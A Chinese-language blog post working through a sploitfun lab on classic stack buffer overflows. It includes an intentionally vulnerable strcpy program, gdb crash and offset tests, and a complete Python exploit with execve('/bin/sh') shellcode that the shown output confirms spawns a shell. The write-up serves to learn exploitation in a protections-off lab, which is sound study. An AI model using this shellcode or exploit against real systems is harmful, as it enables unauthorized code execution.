美文网首页owl
Spliot-fun 之 Classic Stack Based

Spliot-fun 之 Classic Stack Based

作者: owl207 | 来源:发表于2018-11-28 14:30 被阅读0次

    参考:
    https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
    http://wooyun.jozxing.cc/static/drops/tips-6597.html
    本人小白,如果哪里有错误还望多多指教!!!

    首先看一下源代码:

    //vuln.c
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char* argv[]) {
            /* [1] */ char buf[256];
            /* [2] */ strcpy(buf,argv[1]);
            /* [3] */ printf("Input:%s\n",buf);
            return 0;
    }
    

    关闭ASLR、DEP和Stack Protector编译生成可执行文件vuln,这里不使用反汇编,直接暴力测试,输入大于256长度的字符,测试发现当字符串长度为260时会出现Segmentation fault

    • 字符串长度为256
    gdb-peda$ r `python -c 'print "A"*256'`
    Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*256'`
    Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [Inferior 1 (process 10742) exited normally]
    Warning: not running or target is remote
    
    • 字符串长度为260
    gdb-peda$ r `python -c 'print "A"*260'`
    Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*260'`
    Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Program received signal SIGSEGV, Segmentation fault.
    ...
    EBP: 0x0 
    ESP: 0xbfffef00 ('A' <repeats 68 times>)
    EIP: 0x41414141 ('AAAA')
    
    
    • 字符串长度为264
    gdb-peda$ r `python -c 'print "A"*264'`
    Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*264'`
    Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Program received signal SIGSEGV, Segmentation fault.
    ...
    EBP: 0x0 
    ESP: 0x4141413d ('=AAA')
    EIP: 0x804848f (<main+84>:  ret)
    

    可以看到字符串长度小于260不会产生Segmentation fault,而字符串长度大于260时又无法控制'EIP'的值。所以输入字符串长度应为'260'。

    接下来确定EIP所在的位置,使用长度为260的如下字符串作为输入:

    aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
    

    开启:core dump,来定位正常运行情况下的ESPEIP

    ulimit -c unlimited
    sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
    

    然后运行:

    shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ ./vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
    Input:aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
    Segmentation fault (core dumped)
    

    接下来根据产生的core dump文件确定ESPEIP以及buf的起始地址。

    shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ gdb ./vuln /tmp/core.1543385049 -q
    ...
    gdb-peda$ x/s $esp
    0xbfffef00: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ", '1' <repeats 52 times>
    gdb-peda$ x/s $eip
    0x46464646: <error: Cannot access memory at address 0x46464646>
    

    根据GGGG在输入字符串中的偏移可以计算出buf的起始地址,buf的起始地址需要写到EIP指向的位置,而EIPESP相差4个字节。exp.py如下:

    #exp.py 
    #!/usr/bin/env python
    import struct
    from subprocess import call
    
    #Stack address where shellcode is copied.
    ret_addr = 0xbfffee80       
                  
    #Spawn a shell
    #execve(/bin/sh)
    scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
    
    #endianess convertion
    def conv(num):
     return struct.pack("<I",num)
    buf = scode
    buf += "\x90" * 99
    buf += conv(ret_addr)
    buf += "\x90" * 132
    
    
    print "Calling vulnerable program"
    call(["./vuln", buf])
    

    运行结果:

    shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ python exp.py 
    Calling vulnerable program
    Input:1�Ph//shh/bin��P��S���
                                �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
    $ whoami
    shu
    
    • 注意
    1. 虽然关闭了ASLR,但是使用gdb调试状态下的buf地址和直接运行时的buf地址不一样,所以不能直接通过调试来获取buf的地址。而且我在调试过程发现:调试状态下发生Segmentation faultESP和直接运行程序发生Segmentation fault时的ESP值相同,但是调试状态下的ESPEIP所指的内容和直接执行时的不一样。调试时的ESP值和EIP如下:
    ESP: 0xbfffef00 ("WWWWXXXXYYYYZZZZ", '1' <repeats 52 times>)
    EIP: 0x56565656 ('VVVV')
    
    1. 我第一次写exp.py的时候把EIP的值(即:return address)填为ESP,而将真正的shellcode放在ESP处,但是执行的时候报错,不知道什么原因。后来把shellcode放在了从buf处执行就能得到shelll了。

    相关文章

      网友评论

        本文标题:Spliot-fun 之 Classic Stack Based

        本文链接:https://www.haomeiwen.com/subject/revaqqtx.html